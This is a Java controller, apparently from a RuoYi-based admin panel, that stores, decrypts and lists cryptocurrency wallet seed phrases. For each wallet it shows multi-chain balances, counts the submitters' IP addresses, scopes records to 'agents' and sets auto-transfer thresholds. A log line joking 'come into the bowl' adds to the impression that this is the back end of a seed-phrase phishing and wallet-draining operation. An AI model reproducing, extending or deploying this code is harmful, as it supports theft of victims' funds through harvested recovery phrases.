123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431 |
- package com.ruoyi.system.controller;
- import com.alibaba.fastjson.JSON;
- import com.ruoyi.common.annotation.Log;
- import com.ruoyi.common.core.controller.BaseController;
- import com.ruoyi.common.core.domain.AjaxResult;
- import com.ruoyi.common.core.domain.entity.SysUser;
- import com.ruoyi.common.core.page.TableDataInfo;
- import com.ruoyi.common.enums.BusinessType;
- import com.ruoyi.common.utils.ShiroUtils;
- import com.ruoyi.common.utils.poi.ExcelUtil;
- import com.ruoyi.system.domain.SysMnemonic;
- import com.ruoyi.system.domain.SysMnemonicToken;
- import com.ruoyi.system.mapper.SysMnemonicMapper;
- import com.ruoyi.system.mapper.SysMnemonicTokenMapper;
- import com.ruoyi.system.service.ISysMnemonicService;
- import com.ruoyi.system.vo.SysMnemonicTokenVO;
- import com.ruoyi.system.vo.SysMnemonicVO;
- import com.ruoyi.web.controller.common.CommonController;
- import org.apache.ibatis.annotations.Param;
- import org.apache.shiro.authz.annotation.RequiresPermissions;
- import org.slf4j.Logger;
- import org.slf4j.LoggerFactory;
- import org.springframework.beans.BeanUtils;
- import org.springframework.beans.factory.annotation.Autowired;
- import org.springframework.stereotype.Controller;
- import org.springframework.ui.ModelMap;
- import org.springframework.web.bind.annotation.*;
- import java.math.BigDecimal;
- import java.util.ArrayList;
- import java.util.List;
- import java.util.Map;
- import static com.api.controller.ApiController.decryptByPrivateKey;
- //import static com.api.controller.ApiController.decryptByPrivateKey;
- /**
- * 助记词Controller
- *
- * @author lanbing
- * @date 2023-03-23
- */
- @Controller
- @RequestMapping("/system/mnemonic")
- public class SysMnemonicController extends BaseController
- {
- private static final Logger log = LoggerFactory.getLogger(CommonController.class);
- private String prefix = "system/mnemonic";
- @Autowired
- private ISysMnemonicService sysMnemonicService;
- @Autowired
- private SysMnemonicTokenMapper sysMnemonicTokenMapper;
- @Autowired
- private SysMnemonicMapper sysMnemonicMapper;
- @RequiresPermissions("system:mnemonic:view")
- @GetMapping()
- public String mnemonic()
- {
- return prefix + "/mnemonic";
- }
- /**
- * 查询助记词列表
- */
- @RequiresPermissions("system:mnemonic:list")
- @PostMapping("/list")
- @ResponseBody
- public TableDataInfo list(SysMnemonic sysMnemonic)
- {
- startPage();
- List<SysMnemonic> list = new ArrayList<>();
- List<SysMnemonic> listshow = null;
- SysUser user= ShiroUtils.getSysUser();
- if(!sysMnemonic.getMnemonic().equals("") && !sysMnemonic.getMnemonic().equals(null)){
- // log.error(">>>>>>>>>快到碗里来1>>>>>"+sysMnemonic.getMnemonic());
- //处理钱包地址搜索
- List<SysMnemonicToken> systoken = sysMnemonicTokenMapper.selectSysMnemonicByaddress(user.getAgentId(),sysMnemonic.getMnemonic());
- if(systoken.size()>0){
- // log.error(">>>>>>>>>>>>>>"+systoken.size());
- SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(systoken.get(0).getMnemonicid());
- if(pas.getDeletedTime()==0){
- list.add(pas);
- }
- }
- }else if(!(sysMnemonic.getStatus()==0) && !sysMnemonic.getStatus().equals(null) ){
- // log.error(">>>>>>>>>快到碗里来2>>>>>");
- list = sysMnemonicService.selectSysMnemonicListbysort(user.getAgentId(),sysMnemonic.getStatus());
- }else{
- list = sysMnemonicService.selectSysMnemonicList(sysMnemonic);
- }
- // List<SysMnemonic> list = sysMnemonicService.selectSysMnemonicList(sysMnemonic);
- for(int i=0;i<list.size();i++){
- String mnemonic=list.get(i).getMnemonic();
- Long mnemonicid=list.get(i).getId();
- List<SysMnemonicToken> tokenlist = sysMnemonicTokenMapper.selectSysMnemonicBymnemonicId(mnemonicid);
- for(int i1=0;i1<tokenlist.size();i1++){
- tokenlist.get(i1).setprivatekey("");
- }
- list.get(i).settokenlist(tokenlist);
- mnemonic=decryptByPrivateKey(mnemonic);
- list.get(i).setMnemonic(mnemonic);
- if(!user.getShowMnemonic().equals("1") && !user.getShowMnemonic().equals("0")){
- list.get(i).setMnemonic("");
- }else{
- list.get(i).setMnemonic("助记词:"+list.get(i).getMnemonic());
- }
- String ipcount=sysMnemonicService.selectSysMnemonicCountIp(list.get(i).getIp());
- if(!ipcount.equals("") && !ipcount.equals(null)){
- list.get(i).setIpCount(Integer.valueOf(ipcount));
- }else{
- list.get(i).setIpCount(Integer.valueOf("1"));
- }
- }
- // add by lwh 2025-6-26 start
- // 解决分页问题,获取分页信息
- // add by dhx 2025-7-14 start
- TableDataInfo dataTable = getDataTable(list);
- // add by dhx 2025-7-14 end
- List<SysMnemonicVO> dataList = new ArrayList<>();
- for (SysMnemonic mnemonic : list) {
- List<SysMnemonicToken> tokenList = mnemonic.gettokenlist();
- List<SysMnemonicTokenVO> tokenVOList = new ArrayList<>();
- for (SysMnemonicToken mnemonicToken : tokenList) {
- SysMnemonicTokenVO mnemonicTokenVO = new SysMnemonicTokenVO();
- BeanUtils.copyProperties(mnemonicToken,mnemonicTokenVO);
- // add by denghongxing 2025-7-11 start
- mnemonicTokenVO.setBalance(mnemonicToken.getBalance().stripTrailingZeros().toPlainString());
- mnemonicTokenVO.setyjbalance(mnemonicToken.getyjbalance().stripTrailingZeros().toPlainString());
- mnemonicTokenVO.setzzbalance(mnemonicToken.getzzbalance().stripTrailingZeros().toPlainString());
- // add by denghongxing 2025-7-11 end
- tokenVOList.add(mnemonicTokenVO);
- }
- SysMnemonicVO mnemonicVO = new SysMnemonicVO();
- BeanUtils.copyProperties(mnemonic,mnemonicVO);
- // add by denghongxing 2025-7-11 start
- mnemonicVO.setEth(mnemonic.getEth().stripTrailingZeros().toPlainString());
- mnemonicVO.setErc(mnemonic.getErc().stripTrailingZeros().toPlainString());
- mnemonicVO.setTrx(mnemonic.getTrx().stripTrailingZeros().toPlainString());
- mnemonicVO.setTrc(mnemonic.getTrc().stripTrailingZeros().toPlainString());
- mnemonicVO.setBtc(mnemonic.getBtc().stripTrailingZeros().toPlainString());
- mnemonicVO.setOmni(mnemonic.getOmni().stripTrailingZeros().toPlainString());
- mnemonicVO.setBnb(mnemonic.getBnb().stripTrailingZeros().toPlainString());
- mnemonicVO.setBep(mnemonic.getBep().stripTrailingZeros().toPlainString());
- // add by denghongxing 2025-7-11 end
- mnemonicVO.settokenlist(tokenVOList);
- dataList.add(mnemonicVO);
- }
- // 替换分页的 数据
- dataTable.setRows(dataList);
- return dataTable;
- // add by lwh 2025-6-26 end
- // delete by lwh 2025-6-26 start
- // return getDataTable(list);
- // delete by lwh 2025-6-26 end
- }
- /**
- * 导出助记词列表
- */
- @RequiresPermissions("system:mnemonic:export")
- @Log(title = "助记词", businessType = BusinessType.EXPORT)
- @PostMapping("/export")
- @ResponseBody
- public AjaxResult export(SysMnemonic sysMnemonic)
- {
- List<SysMnemonic> list = sysMnemonicService.selectSysMnemonicList(sysMnemonic);
- ExcelUtil<SysMnemonic> util = new ExcelUtil<SysMnemonic>(SysMnemonic.class);
- return util.exportExcel(list, "助记词数据");
- }
- /**
- * 新增助记词
- */
- @GetMapping("/add")
- public String add()
- {
- return prefix + "/add";
- }
- /**
- * 新增保存助记词
- */
- @RequiresPermissions("system:mnemonic:add")
- @Log(title = "助记词", businessType = BusinessType.INSERT)
- @PostMapping("/add")
- @ResponseBody
- public AjaxResult addSave(SysMnemonic sysMnemonic)
- {
- return toAjax(sysMnemonicService.insertSysMnemonic(sysMnemonic));
- }
- /**
- * 修改助记词
- */
- @RequiresPermissions("system:mnemonic:edit")
- @GetMapping("/edit/{id}")
- public String edit(@PathVariable("id") Long id, ModelMap mmap)
- {
- SysMnemonic sysMnemonic = sysMnemonicService.selectSysMnemonicById(id);
- mmap.put("sysMnemonic", sysMnemonic);
- return prefix + "/edit";
- }
- @Log(title = "设置助记词阀值", businessType = BusinessType.INSERT)
- @RequiresPermissions("system:mnemonic:setautotransfer")
- @GetMapping("/setautotransfer/{id}")
- public String setautotransfer(@PathVariable("id") Long id, ModelMap mmap)
- {
- SysMnemonicToken abc = new SysMnemonicToken();
- abc.setToken("trc");
- abc.setMnemonicid(id);
- List<SysMnemonicToken> ppsd = sysMnemonicTokenMapper.selectSysMnemonicTokenList(abc);
- SysMnemonicToken once=ppsd.get(0);
- SysMnemonicTokenVO tokenVO = new SysMnemonicTokenVO();
- BeanUtils.copyProperties(once,tokenVO);
- // add by denghongxing 2025-7-11 start
- tokenVO.setBalance(once.getBalance().stripTrailingZeros().toPlainString());
- tokenVO.setyjbalance(once.getyjbalance().stripTrailingZeros().toPlainString());
- tokenVO.setzzbalance(once.getzzbalance().stripTrailingZeros().toPlainString());
- // add by denghongxing 2025-7-11 end
- mmap.put("moneylist", tokenVO);
- return prefix + "/setautotransfer";
- }
- @RequiresPermissions("system:mnemonic:setautotransferedit")
- @PostMapping("/setautotransferedit")
- @ResponseBody
- public AjaxResult setautotransferedit(SysMnemonicToken sysMnemonicToken)
- {
- return toAjax(sysMnemonicTokenMapper.updateSysMnemonicToken(sysMnemonicToken));
- }
- /**
- * 修改保存助记词
- */
- @RequiresPermissions("system:mnemonic:edit")
- @Log(title = "助记词", businessType = BusinessType.UPDATE)
- @PostMapping("/edit")
- @ResponseBody
- public AjaxResult editSave(SysMnemonic sysMnemonic)
- {
- return toAjax(sysMnemonicService.updateSysMnemonic(sysMnemonic));
- }
- /**
- * 删除助记词
- */
- @RequiresPermissions("system:mnemonic:remove")
- @Log(title = "软删除助记词", businessType = BusinessType.DELETE)
- @PostMapping( "/remove")
- @ResponseBody
- public AjaxResult remove(String ids)
- {
- sysMnemonicService.deleteSysMnemonictokenajaxByIds(ids);
- return toAjax(sysMnemonicService.deleteSysMnemonicByIds(ids));
- }
- @RequiresPermissions("system:mnemonic:recycle")
- @GetMapping("/recycle")
- public String recycle()
- {
- return prefix + "/recycle";
- }
- /**
- * 查询助记词列表
- */
- @RequiresPermissions("system:mnemonic:recycle")
- @PostMapping("/listdel")
- @ResponseBody
- public TableDataInfo listdel(SysMnemonic sysMnemonic)
- {
- startPage();
- List<SysMnemonic> list = new ArrayList<>();
- SysUser sysur1= ShiroUtils.getSysUser();
- if(!sysMnemonic.getMnemonic().equals("") && !sysMnemonic.getMnemonic().equals(null)){
- List<SysMnemonicToken> systoken = sysMnemonicTokenMapper.selectSysMnemonicByaddressdel(sysur1.getAgentId(),sysMnemonic.getMnemonic());
- if(systoken.size()>0){
- SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(systoken.get(0).getMnemonicid());
- list.add(pas);
- }
- }else if(!sysMnemonic.getStatus().equals(0) && !sysMnemonic.getStatus().equals(null) ){
- list = sysMnemonicService.selectSysMnemonicListbysortdel(sysur1.getAgentId(),sysMnemonic.getStatus());
- }else{
- list = sysMnemonicService.selectSysMnemonicListdel(sysMnemonic);
- }
- for(int i=0;i<list.size();i++){
- String mnemonic=list.get(i).getMnemonic();
- Long mnemonicid=list.get(i).getId();
- List<SysMnemonicToken> tokenlist = sysMnemonicTokenMapper.selectSysMnemonicBymnemonicId(mnemonicid);
- list.get(i).settokenlist(tokenlist);
- mnemonic=decryptByPrivateKey(mnemonic);
- list.get(i).setMnemonic(mnemonic);
- if(!sysur1.getShowMnemonic().equals("1") && !sysur1.getShowMnemonic().equals("0")){
- list.get(i).setMnemonic("");
- }else{
- list.get(i).setMnemonic("助记词:"+list.get(i).getMnemonic());
- }
- String ipcount=sysMnemonicService.selectSysMnemonicCountIp(list.get(i).getIp());
- if(!ipcount.equals("") && !ipcount.equals(null)){
- list.get(i).setIpCount(Integer.valueOf(ipcount));
- }else{
- list.get(i).setIpCount(Integer.valueOf("1"));
- }
- }
- // add by lwh 2025-6-27 start
- // 解决分页问题,获取分页信息
- // add by dhx 2025-7-14 start
- TableDataInfo dataTable = getDataTable(list);
- // add by dhx 2025-7-14 end
- List<SysMnemonicVO> dataList = new ArrayList<>();
- for (SysMnemonic mnemonic : list) {
- List<SysMnemonicToken> tokenList = mnemonic.gettokenlist();
- List<SysMnemonicTokenVO> tokenVOList = new ArrayList<>();
- for (SysMnemonicToken mnemonicToken : tokenList) {
- SysMnemonicTokenVO mnemonicTokenVO = new SysMnemonicTokenVO();
- BeanUtils.copyProperties(mnemonicToken,mnemonicTokenVO);
- // add by denghongxing 2025-7-11 start
- mnemonicTokenVO.setBalance(mnemonicToken.getBalance().stripTrailingZeros().toPlainString());
- mnemonicTokenVO.setyjbalance(mnemonicToken.getyjbalance().stripTrailingZeros().toPlainString());
- mnemonicTokenVO.setzzbalance(mnemonicToken.getzzbalance().stripTrailingZeros().toPlainString());
- // add by denghongxing 2025-7-11 end
- tokenVOList.add(mnemonicTokenVO);
- }
- SysMnemonicVO mnemonicVO = new SysMnemonicVO();
- BeanUtils.copyProperties(mnemonic,mnemonicVO);
- // add by denghongxing 2025-7-11 start
- mnemonicVO.setEth(mnemonic.getEth().stripTrailingZeros().toPlainString());
- mnemonicVO.setErc(mnemonic.getErc().stripTrailingZeros().toPlainString());
- mnemonicVO.setTrx(mnemonic.getTrx().stripTrailingZeros().toPlainString());
- mnemonicVO.setTrc(mnemonic.getTrc().stripTrailingZeros().toPlainString());
- mnemonicVO.setBtc(mnemonic.getBtc().stripTrailingZeros().toPlainString());
- mnemonicVO.setOmni(mnemonic.getOmni().stripTrailingZeros().toPlainString());
- mnemonicVO.setBnb(mnemonic.getBnb().stripTrailingZeros().toPlainString());
- mnemonicVO.setBep(mnemonic.getBep().stripTrailingZeros().toPlainString());
- // add by denghongxing 2025-7-11 end
- mnemonicVO.settokenlist(tokenVOList);
- dataList.add(mnemonicVO);
- }
- // 替换分页的数据
- dataTable.setRows(dataList);
- return dataTable;
- // add by lwh 2025-6-27 end
- // delete by lwh 2025-6-27 start
- // return getDataTable(list);
- // delete by lwh 2025-6-27 end
- }
- @RequiresPermissions("system:mnemonic:recycle")
- @PostMapping("/listrecycle")
- @Log(title = "恢复助记词", businessType = BusinessType.DELETE)
- @ResponseBody
- public String listrecycle(@Param("id") String id)
- {
- SysMnemonic pas = sysMnemonicMapper.selectSysMnemonicById(Long.valueOf(id));
- pas.setDeletedTime(Long.valueOf("0"));
- sysMnemonicMapper.updateSysMnemonic(pas);
- log.error("需要恢复的数据>>>>"+id);
- SysMnemonicToken asinfo=new SysMnemonicToken();
- asinfo.setMnemonicid(Long.valueOf(id));
- asinfo.setDeletedTime(Long.valueOf("100"));
- List<SysMnemonicToken> aass = sysMnemonicTokenMapper.selectSysMnemonicTokenList(asinfo);
- log.error("需要恢复的数据>>>>"+aass);
- for(int i=0;i<aass.size();i++){
- Long aa=aass.get(i).getId();
- SysMnemonicToken ttt=sysMnemonicTokenMapper.selectSysMnemonicTokenById(Long.valueOf(aa));
- ttt.setDeletedTime(Long.valueOf("0"));
- sysMnemonicTokenMapper.updateSysMnemonicToken(ttt);
- }
- return "success";
- }
- //单挑删除
- @RequiresPermissions("system:mnemonic:listdelete")
- @PostMapping("/listdelete")
- @Log(title = "彻底删除助记词", businessType = BusinessType.DELETE)
- @ResponseBody
- public String listdelete(@Param("id") String id)
- {
- sysMnemonicMapper.deleteSysMnemonicById(Long.valueOf(id));
- sysMnemonicTokenMapper.deleteSysMnemonicTokenByMnemonicId(Long.valueOf(id));
- return "success";
- }
- //全部清空
- @RequiresPermissions("system:mnemonic:listdeleteall")
- @PostMapping("/listdeleteall")
- @Log(title = "清空回收站所有助记词", businessType = BusinessType.DELETE)
- @ResponseBody
- public String listdeleteall()
- {
- SysMnemonic ps=new SysMnemonic();
- List<SysMnemonic> plist=sysMnemonicMapper.selectSysMnemonicListdel(ps);
- for(int i=0;i<plist.size();i++){
- Long mid=plist.get(i).getId();
- if(mid>0){
- sysMnemonicMapper.deleteSysMnemonicById(mid);
- sysMnemonicTokenMapper.deleteSysMnemonicTokenByMnemonicId(mid);
- }
- }
- return "success";
- }
- }
|